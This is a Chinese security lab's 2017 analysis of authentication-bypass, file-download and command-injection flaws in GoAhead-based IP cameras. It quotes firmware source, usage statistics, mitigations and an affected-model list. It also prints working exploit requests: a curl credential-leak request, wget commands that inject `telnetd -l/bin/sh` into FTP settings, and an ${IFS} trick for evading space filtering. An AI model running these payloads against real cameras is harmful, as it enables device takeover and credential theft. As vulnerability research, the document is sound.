抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
Author:知道创宇404实验室 Date:2017/03/19
一.漏洞背景
GoAhead作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中,是各种嵌入式设备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。
2017年3月7日,Seebug漏洞平台收录了一篇基于GoAhead系列摄像头的多个漏洞。该漏洞为Pierre Kim在博客上发表的一篇文章,披露了存在于1250多个摄像头型号的多个通用型漏洞。其在文章中将其中一个验证绕过漏洞归类为GoAhead服务器的漏洞,但事后证明,该漏洞却是由厂商二次开发GoAhead服务器产生的。于此同时,Pierre Kim将其中两个漏洞组合使用,成功获取了摄像头的最高权限。
二.漏洞分析
当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞,解开的更新固件无法找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas,我们在github上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分析出了漏洞原理,还通过分析结果找到了漏洞新的利用方式。
由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,因此难免有所疏漏。如有错误,欢迎指正。:)
1.验证绕过导致的信息(登录凭据)泄漏漏洞
作者给出POC: curl http://ip:port/system.ini?loginuse&loginpas
根据作者给出的POC,我们进行了如下测试:

可以看出,只要url中含有loginuse和loginpas这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的zzzzzzzzzzzzzz时均可通过验证。
看到这里,我们大致可以判断出验证loginuse和loginpas的逻辑问题导致该漏洞的出现。于是,在此门铃项目中直接搜索loginuse定位到关键函数。
/func/ieparam.c第6407-6485行AdjustUserPri函数如下:
unsigned char AdjustUserPri( char* url )
{
int iRet;
int iRet1;
unsigned char byPri = 0;
char loginuse[32];
char loginpas[32];
char decoderbuf[128];
char temp2[128];
memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "loginuse", temp2, 31 );
//判断是否存在loginuse值,并将获取到的值赋给temp2
if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
strcpy( loginuse, decoderbuf );
}
//如果存在,则将temp2复制到loginuse数组中
memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 );
//判断是否存在loginpas值,并将获取到的值赋给temp2
if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
}
//如果存在,则将temp2复制到loginpas数组中
if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas );
//如果两次都获取到了对应的值,则通过GetUserPri进行验证。
return byPri;
}
} memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "user", temp2, 31 ); if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
strcpy( loginuse, decoderbuf );
} memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "pwd", temp2, 31 ); if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
} if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas );
return byPri;
}
}
//获取user和pwd参数,逻辑结构与上方的loginuse和loginpas相同。
return byPri;
}
我们对其中步骤做了注释,根据这段逻辑,我们先通过GetStrParamValue()获取loginuse和loginpas对应值,然后将获取值通过GetUserPri()函数进行验证。跟进GetStrParamValue()这个函数,我们发现了更奇怪的事情。 command/cmd_thread.c中第13-51行GetStrParamValue()函数如下:
//结合上面代码中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这段代码
int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue )
{
const char* pos1, *pos = pszSrc;
unsigned char len = 0; if ( !pszSrc || !pszParamName )
{
return -1;
}
//判断url和需要查找的变量loginuse是否存在 pos1 = strstr( pos, pszParamName ); if ( !pos1 )
{
return -1;
}
//由于url中含有loginuse,所以这里pos1可以取到对应的值,故不进入if(!pos1) pos = pos1 + strlen( pszParamName ) + 1;
pos1 = strstr( pos, "&" ); if ( pos1 )
{
memcpy( pszParamValue, pos, pos1 - pos );
//根据正常情况loginuse=admin&loginpas=xxx,这一段代码的逻辑是从loginuse后一位也就是等于号开始取值直到&号作为loginuse对应的值。
//根据作者的POC:loginuse&loginpas,最终这里pos应该位于pos1后一位,所以pos1-pos = -1
//memcpy( pszParamValue, pos, -1 );无法运行成功。
len = pos1 - pos;
} else
{
pos1 = strstr( pos, " " ); if ( pos1 != NULL )
{
memcpy( pszParamValue, pos, pos1 - pos );
len = pos1 - pos;
}
}
return 0;
//不论上述到底如何取值,最终都可以返回0
}
根据作者给出的POC,在memcpy()函数处会导致崩溃,但事实上,我们的web服务器正常运行并返回system.ini具体内容。这一点令我们百思不得其解。当我们对AdjustUserPri()函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。 func/ieparam.c文件第7514-7543行调用了AdjustUserPri()函数:
if ( auth == 0x00 )
{
char temp[512];
int wlen = 0; if ( len )
{
return 0;
} #if 0
byPri = AdjustUserPri( url ); printf("url:%s byPri %d\n",url,byPri);
if ( byPri == 0x00 )
{
memset( temp, 0x00, 512 );
wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" );
memcpy( pbuf, temp, wlen );
return wlen;
}
#else
byPri = 255;
#endif
} else
{
byPri = pri;
}
在之前跟GetUserPri()函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration 255->admin。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri被直接赋值为255,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试了,也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。
很遗憾,我们没有继续向上溯源找到这里的auth这个值到底是如何而来。不过根据这里的代码逻辑,我们可以猜测,当auth为0时,通过GET请求中的参数验证用户名密码。当auth不为0时,通过HTTP摘要验证方式来验证用户名密码。
再看一遍上方代码,GET请求中含有参数loginuse和loginpas就直接可以通过验证。那么AdjustUserPri()函数中另外两个具有相同逻辑的参数user和pwd呢?
成功抓住"新代码"的影子
2.远程命令执行漏洞一(需登录)
作者给出的exp如下:
user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'
可以看到,该exp分为两步,第一步先设置ftp各种参数,第二步按照第一步设置的各参数测试ftp链接,同时导致我们在第一步设置的命令被执行。
我们在func/ieparam.c文件中找到了set_ftp.cgi和ftptest.cgi的调用过程
383: pdst = strstr( pcmd, "ftptest.cgi" );
384:
385: if ( pdst != NULL )
386: {
387: return CGI_IESET_FTPTEST;
388: } 455: pdst = strstr( pcmd, "set_ftp.cgi" );
456:
457: if ( pdst != NULL )
458: {
459: return CGI_IESET_FTP;
460: } 7658: case CGI_IESET_FTPTEST:
7659: if ( len == 0x00 )
7660: {
7661: iRet = cgisetftptest( pbuf, pparam, byPri );
7662: } 7756: case CGI_IESET_FTP:
7757: if ( len == 0x00 )
7758: {
7759: iRet = cgisetftp( pbuf, pparam, byPri );
7760: NoteSaveSem();
7761: }
首先跟踪cgisetftp( pbuf, pparam, byPri );这个函数,我们发现,该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:
//这部分代码可以不做细看,下一步我们进行ftp测试连接的时候对照该部分寻找对应的值就可以了。
iRet = GetStrParamValue( pparam, "svr", temp2, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf ); GetIntParamValue( pparam, "port", &iValue );
bparam.stFtpParam.nFtpPort = iValue; iRet = GetStrParamValue( pparam, "user", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpUser, decoderbuf ); memset( temp2, 0x00, 64 );
iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf );
//我们构造的命名被赋值给了参数bparam.stFtpParam.szFtpPwd
iRet = GetStrParamValue( pparam, "dir", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );
if(decoderbuf[0] == 0)
{
strcpy(bparam.stFtpParam.szFtpDir, "/" );
} GetIntParamValue( pparam, "mode", &iValue );
bparam.stFtpParam.byMode = iValue;
GetIntParamValue( pparam, "upload_interval", &iValue );
bparam.stFtpParam.nInterTime = iValue; iRet = GetStrParamValue( pparam, "filename", temp1, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFileName, decoderbuf );
综上所述,set_ftp.cgi仅仅是将我们请求的各参数写入全局变量中。 接下来是ftptest.cgi部分,也就是调用了iRet = cgisetftptest( pbuf, pparam, byPri );这个函数。在该函数中,最为关键的函数为DoFtpTest();。直接跳到func/ftp.c文件中找到函数DoFtpTest():
int DoFtpTest( void )
{
int iRet = 0;
iRet = FtpConfig( 0x01, NULL ); if ( iRet == 0 )
{
char cmd[128];
memset(cmd, 0, 128);
sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);
iRet = DoSystem(cmd);
//iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );
} return iRet;
}
可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。先让我们看看 FtpConfig()函数如何 处理该问题:
int FtpConfig( char test, char* filename )
{
......
fp = fopen( "/tmp/ftpupdate1.sh", "wb" ); memset( cmd, 0x00, 128 );
sprintf( cmd, "/system/system/bin/ftp -n<<!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "binary\n" );
fwrite( cmd, 1, strlen( cmd ), fp ); if ( bparam.stFtpParam.byMode == 1 ) //passive
{
memset( cmd, 0x00, 128 );
sprintf( cmd, "pass\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#ifdef CUSTOM_DIR char sub_temp[ 128 ];
memset(sub_temp, 0, 128);
//strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID); flag = sub_dir(fp,sub_temp);
if(flag){
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#else
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp ); #endif
memset( cmd, 0x00, 128 );
sprintf( cmd, "lcd /tmp\n" );
fwrite( cmd, 1, strlen( cmd ), fp ); if ( test == 0x01 )
{
FtpFileTest();
memset( cmd, 0x00, 128 );
sprintf( cmd, "put ftptest.txt\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
} else
{
char filename1[128];
memset( filename1, 0x00, 128 );
memcpy( filename1, filename + 5, strlen( filename ) - 5 );
memset( cmd, 0x00, 128 );
sprintf( cmd, "put %s\n", filename1 );
fwrite( cmd, 1, strlen( cmd ), fp );
} memset( cmd, 0x00, 128 );
sprintf( cmd, "close\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "bye\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
fclose( fp );
iRet = access( "/tmp/ftpupdate1.sh", X_OK ); if ( iRet )
{
DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );
} return 0;
}
至此,逻辑很清晰了。在FtpConfig()函数中,将我们之前在设置的时候输入的各个值写入了/tmp/ftpupdate1.sh中,然后在DoFtpTest()中运行该脚本,导致最后的命令执行。这一点,同样可以在漏洞作者原文中得到证明:
作者原文中展示的/tmp/ftpupload.sh:
/ # cat /tmp/ftpupload.sh
/bin/ftp -n<<!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #
实际测试中,我们发现:如果直接用作者给出的exp去尝试RCE往往是不能成功的。从http://ip:port/get_params.cgi?user=username&pwd=password可以发现,我们注入的命令在空格处被截断了。

于是我们用${IFS}替换空格(还可以采用+代替空格):

但是由于有长度限制再次被截断,调整长度,最终成功执行命令:
成功抓住新代码的影子
3.GoAhead绕过验证文件下载漏洞
2017年3月9日,Pierre Kim在文章中增加了两个链接,描述了一个GoAhead 2.1.8版本之前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是,这个漏洞早在2004年就已被提出并成功修复(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码,该漏洞仍然可以在众多摄像头设备复现。
我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下:
=====================================
GoAhead WebServer 2.1.8 Release Notes
=====================================
再仔细查看websUrlHandlerRequest()内容,发现并未对该漏洞进行修复,说明该漏洞也影响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:
那么,具体的漏洞成因又是如何呢?让我们来跟进./web/LINUX/main.c了解该漏洞的成因: initWebs()函数中,关键代码如下:
154: umOpen(); 157: umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE ); 159: umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );
160: umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );
161: umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );
162: umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) ); 224: websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );
227: websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );
其中,150-160中um开头的函数为用户权限控制的相关函数。主要做了以下四件事情: 1. umOpen() 打开用户权限控制 2. umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录 3. umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组 4. umAddAccessLimit()增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。
紧接着,在220多行通过websUrlHandlerDefine()函数运行了两个Handler,websSecurityHandler和websDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如下:
86: accessLimit = umGetAccessLimit( path ); 115: am = umGetAccessMethodForURL( accessLimit );
116: nRet = 0; 118-242: if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……} 245: return nRet;
第86行,umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini,根据上文,我们的设置是对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。
紧接着向下,nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。
就这样,我们再次抓住了这个”新代码”的影子,虽然这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。
4.远程命令执行漏洞二(需登录)
在Pierre Kim新增的两个链接中,还介绍了一种新的远程命令执行的方式。即通过set_mail.cgi和mailtest.cgi来执行命令。 与上一个远程命令执行漏洞一样,我们先在func/ieparam.c文件中找到set_mail.cgi和mailtest.cgi的调用过程
257: pdst = strstr( pcmd, "set_mail.cgi" );
258:
259: if ( pdst != NULL )
260: {
261: return CGI_IESET_MAIL;
262: } 348: pdst = strstr( pcmd, "mailtest.cgi" );
349:
350: if ( pdst != NULL )
351: {
352: return CGI_IESET_MAILTEST;
353:} 7674: case CGI_IESET_MAILTEST:
7675: if ( len == 0x00 )
7676: {
7677: iRet = cgisetmailtest( pbuf, pparam, byPri );
7678: }
7679:
7680: break; 7746: case CGI_IESET_MAIL:
7747: if ( len == 0x00 )
7748: {
7749: iRet = cgisetmail( pbuf, pparam, byPri );
7750: IETextout( "-------------OK--------" );
7751: NoteSaveSem();
7752: }
7753:
7754: break;
跟上一个远程命令执行漏洞类似,cgisetmail()函数用于将各参数储存到结构体,例如sender参数赋值给bparam.stMailParam.szSender、receiver1参数赋值给bparam.stMailParam.szReceiver1。 接着,来到了cgisetmailtest()函数:
int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri )
{
unsigned char temp[2048];
int len = 0;
int result = 0;
char nexturl[64];
int iRet = 0;
memset( temp, 0x00, 2048 ); //iRet = DoMailTest();
if(iRet == 0)
{
IETextout("Mail send over, OK or Not");
}
/* END: Added by Baggio.wu, 2013/10/25 */ memset( nexturl, 0x00, 64 );
iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 ); if ( iRet == 0x00 )
{
#if 1
len += RefreshUrl( temp + len, nexturl );
#endif
memcpy( pbuf, temp, len );
} else
{
len += sprintf( temp + len, "var result=\"ok\";\r\n" );
memcpy( pbuf, temp, len );
} printf( "sendmail len:%d\n", len );
return len;
}
该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了,我们也要继续跟踪DoMailTest()这个函数:
int DoMailTest( void ) //email test
{
int iRet = -1;
char cmd[256]; if ( bparam.stMailParam.szSender[0] == 0 )
{
return -1;
} if ( bparam.stMailParam.szReceiver1[0] != 0x00 )
{
iRet = EmailConfig(); if ( iRet )
{
return -1;
} memset( cmd, 0x00, 256 ); /* BEGIN: Modified by Baggio.wu, 2013/9/9 */
sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",
bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );
//sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\" %s",
// bparam.stMailParam.szReceiver1 ); printf( "start cmd:%s\n", cmd );
EmailWrite( cmd, strlen( cmd ) );
//emailtest();
printf( "cmd:%s\n", cmd ); } return iRet;
}
可以看到sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );发件人和收件人都直接被拼接成命令导致最后的命令执行。
三.漏洞影响范围
ZoomEye网络空间探测引擎探测结果显示,全球范围内共查询到78万条历史记录。我们根据这78万条结果再次进行探测,发现这些设备一共存在三种情况:
- 第一种是设备不存在漏洞。
第二种是设备存在验证绕过漏洞,但是由于
web目录下没有system.ini,导致最终无法被利用。
可以看到,当我们直接请求system.ini的时候,显示需要认证,但是当我们绕过验证之后,却显示404 not found。最后一种是设备既存在验证绕过漏洞,又存在
system.ini文件。这些设备就存在被入侵的风险。
我们统计了最后一种设备的数量,数据显示有近7万的设备存在被入侵的风险。这7万设备的国家分布图如下:
可以看出,美国、中国、韩国、法国、日本属于重灾区。我国一共有 7000 多台设备可能被入侵,其中近 6000 台位于香港。我们根据具体数据做成两张柱状图以便查看:

(注:None为属于中国,但未解析出具体地址的IP)
我们通过查询ZoomEye网络空间探测引擎历史记录,导出2016年1月1日,2017年1月1日和本报告编写时2017年3月14日三个时间点的数据进行分析。
在这三个时间点,我们分别收录了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的设备26万台、65万台和78万台。
但是这些ip中,存在漏洞的设备增长趋势却完全不同。
可以看到,2016年1月1日已探明的设备中目前仅有2000多台存在漏洞,2017年1月1日之前探明的设备中有近3万台存在漏洞,仅仅两个多月后的今天,已有近7万台设备存在漏洞。
根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后才被大家所关注。在此期间,旧摄像头通过更新有漏洞固件的方式导致了该漏洞的出现,而那些新生产的摄像头则被销售到世界各地。根据今年新增的ip的地理位置,我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。
根据数据,我们可以看到,主要销售到了美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头,其中4000多台位于香港。
四.修复方案
1.将存在漏洞的摄像头设备放置于内网。 2.及时升级到最新固件。 3.对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存里的恶意进程。
五.参考链接
- https://www.seebug.org/vuldb/ssvid-92789
- https://www.seebug.org/vuldb/ssvid-92748
- https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
- https://github.com/kuangxingyiqing/bell-jpg
- http://aluigi.altervista.org/adv/goahead-adv2.txt
附表1:Pierre Kim给出的受影响设备列表:
| 列表如下: |
|---|
| 3G+IPCam Other |
| 3SVISION Other |
| 3com CASA |
| 3com Other |
| 3xLogic Other |
| 3xLogic Radio |
| 4UCAM Other |
| 4XEM Other |
| 555 Other |
| 7Links 3677 |
| 7Links 3677-675 |
| 7Links 3720-675 |
| 7Links 3720-919 |
| 7Links IP-Cam-in |
| 7Links IP-Wi-Fi |
| 7Links IPC-760HD |
| 7Links IPC-770HD |
| 7Links Incam |
| 7Links Other |
| 7Links PX-3615-675 |
| 7Links PX-3671-675 |
| 7Links PX-3720-675 |
| 7Links PX3309 |
| 7Links PX3615 |
| 7Links ipc-720 |
| 7Links px-3675 |
| 7Links px-3719-675 |
| 7Links px-3720-675 |
| A4Tech Other |
| ABS Other |
| ADT RC8021W |
| AGUILERA AQUILERA |
| AJT AJT-019129-BBCEF |
| ALinking ALC |
| ALinking Other |
| ALinking dax |
| AMC Other |
| ANRAN ip180 |
| APKLINK Other |
| AQUILA AV-IPE03 |
| AQUILA AV-IPE04 |
| AVACOM 5060 |
| AVACOM 5980 |
| AVACOM H5060W |
| AVACOM NEW |
| AVACOM Other |
| AVACOM h5060w |
| AVACOM h5080w |
| Acromedia IN-010 |
| Acromedia Other |
| Advance Other |
| Advanced+home lc-1140 |
| Aeoss J6358 |
| Aetos 400w |
| Agasio A500W |
| Agasio A502W |
| Agasio A512 |
| Agasio A533W |
| Agasio A602W |
| Agasio A603W |
| Agasio Other |
| AirLink Other |
| Airmobi HSC321 |
| Airsight Other |
| Airsight X10 |
| Airsight X34A |
| Airsight X36A |
| Airsight XC39A |
| Airsight XX34A |
| Airsight XX36A |
| Airsight XX40A |
| Airsight XX60A |
| Airsight x10 |
| Airsight x10Airsight |
| Airsight xc36a |
| Airsight xc49a |
| Airsight xx39A |
| Airsight xx40a |
| Airsight xx49a |
| Airsight xx51A |
| Airsight xx51a |
| Airsight xx52a |
| Airsight xx59a |
| Airsight xx60a |
| Akai AK7400 |
| Akai SP-T03WP |
| Alecto 150 |
| Alecto Atheros |
| Alecto DVC-125IP |
| Alecto DVC-150-IP |
| Alecto DVC-1601 |
| Alecto DVC-215IP |
| Alecto DVC-255-IP |
| Alecto dv150 |
| Alecto dvc-150ip |
| Alfa 0002HD |
| Alfa Other |
| Allnet 2213 |
| Allnet ALL2212 |
| Allnet ALL2213 |
| Amovision Other |
| Android+IP+cam IPwebcam |
| Anjiel ip-sd-sh13d |
| Apexis AH9063CW |
| Apexis APM-H803-WS |
| Apexis APM-H804-WS |
| Apexis APM-J011 |
| Apexis APM-J011-Richard |
| Apexis APM-J011-WS |
| Apexis APM-J012 |
| Apexis APM-J012-WS |
| Apexis APM-J0233 |
| Apexis APM-J8015-WS |
| Apexis GENERIC |
| Apexis H |
| Apexis HD |
| Apexis J |
| Apexis Other |
| Apexis PIPCAM8 |
| Apexis Pyle |
| Apexis XF-IP49 |
| Apexis apexis |
| Apexis apm- |
| Apexis dealextreme |
| Aquila+Vizion Other |
| Area51 Other |
| ArmorView Other |
| Asagio A622W |
| Asagio Other |
| Asgari 720U |
| Asgari Other |
| Asgari PTG2 |
| Asgari UIR-G2 |
| Atheros ar9285 |
| AvantGarde SUMPPLE |
| Axis 1054 |
| Axis 241S |
| B-Qtech Other |
| B-Series B-1 |
| BRAUN HD-560 |
| BRAUN HD505 |
| Beaulieu Other |
| Bionics Other |
| Bionics ROBOCAM |
| Bionics Robocam |
| Bionics T6892WP |
| Bionics t6892wp |
| Black+Label B2601 |
| Bravolink Other |
| Breno Other |
| CDR+king APM-J011-WS |
| CDR+king Other |
| CDR+king SEC-015-C |
| CDR+king SEC-016-NE |
| CDR+king SEC-028-NE |
| CDR+king SEC-029-NE |
| CDR+king SEC-039-NE |
| CDR+king sec-016-ne |
| CDXX Other |
| CDXXcamera Any |
| CP+PLUS CP-EPK-HC10L1 |
| CPTCAM Other |
| Camscam JWEV-372869-BCBAB |
| Casa Other |
| Cengiz Other |
| Chinavasion Gunnie |
| Chinavasion H30 |
| Chinavasion IP611W |
| Chinavasion Other |
| Chinavasion ip609aw |
| Chinavasion ip611w |
| Cloud MV1 |
| Cloud Other |
| CnM IP103 |
| CnM Other |
| CnM sec-ip-cam |
| Compro NC150/420/500 |
| Comtac CS2 |
| Comtac CS9267 |
| Conceptronic CIPCAM720PTIWL |
| Conceptronic cipcamptiwl |
| Cybernova Other |
| Cybernova WIP604 |
| Cybernova WIP604MW |
| D-Link DCS-910 |
| D-Link DCS-930L |
| D-Link L-series |
| D-Link Other |
| DB+Power 003arfu |
| DB+Power DBPOWER |
| DB+Power ERIK |
| DB+Power HC-WV06 |
| DB+Power HD011P |
| DB+Power HD012P |
| DB+Power HD015P |
| DB+Power L-615W |
| DB+Power LA040 |
| DB+Power Other |
| DB+Power Other2 |
| DB+Power VA-033K |
| DB+Power VA0038K |
| DB+Power VA003K+ |
| DB+Power VA0044_M |
| DB+Power VA033K |
| DB+Power VA033K+ |
| DB+Power VA035K |
| DB+Power VA036K |
| DB+Power VA038 |
| DB+Power VA038k |
| DB+Power VA039K |
| DB+Power VA039K-Test |
| DB+Power VA040 |
| DB+Power VA390k |
| DB+Power b |
| DB+Power b-series |
| DB+Power extcams |
| DB+Power eye |
| DB+Power kiskFirstCam |
| DB+Power va033k |
| DB+Power va039k |
| DB+Power wifi |
| DBB IP607W |
| DEVICECLIENTQ CNB |
| DKSEG Other |
| DNT CamDoo |
| DVR DVR |
| DVS-IP-CAM Other |
| DVS-IP-CAM Outdoor/IR |
| Dagro DAGRO-003368-JLWYX |
| Dagro Other |
| Dericam H216W |
| Dericam H502W |
| Dericam M01W |
| Dericam M2/6/8 |
| Dericam M502W |
| Dericam M601W |
| Dericam M801W |
| Dericam Other |
| Digix Other |
| Digoo BB-M2 |
| Digoo MM==BB-M2 |
| Digoo bb-m2 |
| Dinon 8673 |
| Dinon 8675 |
| Dinon SEGEV-105 |
| Dinon segev-103 |
| Dome Other |
| Drilling+machines Other |
| E-Lock 1000 |
| ENSIDIO IP102W |
| EOpen Open730 |
抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析的更多相关文章
- C# 7.0 新特性1: 基于Tuple的“多”返回值方法
本文基于Roslyn项目中的Issue:#347 展开讨论. 1. C# 7.0 新特性1: 基于Tuple的“多”返回值方法 2. C# 7.0 新特性2: 本地方法 3. C# 7.0 新特性3: ...
- 批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令
最近在学习用python写爬虫工具,某天偶然发现GoAhead系列服务器的登录方式跟大多数网站不一样,不是采用POST等方法,通过查找资料发现GoAhead是一个开源(商业许可).简单.轻巧.功能强大 ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- 基于goahead 的固件程序分析
# 前言 本文由 本人 首发于 先知安全技术社区: https://xz.aliyun.com/u/5274 最近在分析 dlink 的一个固件时遇到了用 goahead 开发的 web 服务.本文以 ...
- 在进程中执行新代码 execl、execle、execlp、execv、execve和execvp函数
摘要:本文主要讲述怎样在进程中执行新代码,以及exec系列函数的基本用法. 在进程中执行新代码 用函数fork创建子进程后,假设希望在当前子进程中运行新的程序,能够调用exec函数运行还有一个程序.当 ...
- 基于OpenAM系列的SSO----基础
